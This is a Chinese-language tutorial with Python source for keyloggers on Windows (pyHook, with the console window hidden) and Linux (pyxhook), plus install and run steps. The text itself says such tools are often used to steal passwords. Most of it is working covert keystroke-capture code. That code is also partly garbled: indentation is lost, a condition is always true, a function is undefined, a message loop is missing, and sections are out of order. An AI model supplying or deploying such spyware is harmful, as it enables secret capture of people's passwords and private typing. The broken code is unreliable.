击键记录是记录（记录）在键盘上按下的键（通常在用户不知道的情况下）的过程。它也称为键盘记录或键盘捕获。
这些程序用于解决计算机和商业网络的技术问题。它也可用于监控网络使用情况，但通常用于窃取密码等恶意目的。
本文说明了为 Windows 和 Linux 设计键盘记录器。
Windows 键盘记录器
下载一些Python库
1) pywin32
2) 钩子’
以下是在Python创建键盘记录器的代码
Python3
# Python code for keylogger
# to be used in windows
import win32api
import win32console
import win32gui
import pythoncom, pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
#open output.txt to read current keystrokes
f = open('c:\output.txt', 'r+')
buffer = f.read()
f.close()
# open output.txt to write current + new keystrokes
f = open('c:\output.txt', 'w')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = '/n'
buffer += keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever

# Python code for keylogger
# to be used in linux
import os
import pyxhook
# This tells the keylogger where the log file will go.
# You can set the file path as an environment variable ('pylogger_file'),
# or use the default ~/Desktop/file.log
log_file = os.environ.get(
'pylogger_file',
os.path.expanduser('~/Desktop/file.log')
)
# Allow setting the cancel key from environment args, Default: `
cancel_key = ord(
os.environ.get(
'pylogger_cancel',
'`'
)[0]
)
# Allow clearing the log file on start, if pylogger_clean is defined.
if os.environ.get('pylogger_clean', None) is not None:
try:
os.remove(log_file)
except EnvironmentError:
# File does not exist, or no permissions.
pass
#creating key pressing event and saving it into log file
def OnKeyPress(event):
with open(log_file, 'a') as f:
f.write('{}\n'.format(event.Key))
# create a hook manager object
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
# set the hook
new_hook.HookKeyboard()
try:
new_hook.start() # start the hook
except KeyboardInterrupt:
# User cancelled from command line.
pass
except Exception as ex:
# Write exceptions to the log file, for analysis later.
msg = 'Error while catching events:\n {}'.format(ex)
pyxhook.print_err(msg)
with open(log_file, 'a') as f:
f.write('\n{}'.format(msg))将 C:\ 中的文件另存为 Keylogger.py 并运行Python文件
输出：
键盘记录器将在后台启动并将所有数据保存在日志文件“c:\output.txt”中。
Linux 中的键盘记录器
pyxhook 需要 python-Xlib。如果您还没有它，请安装它。
sudo apt-get install python-xlib下载 pyxhook 库
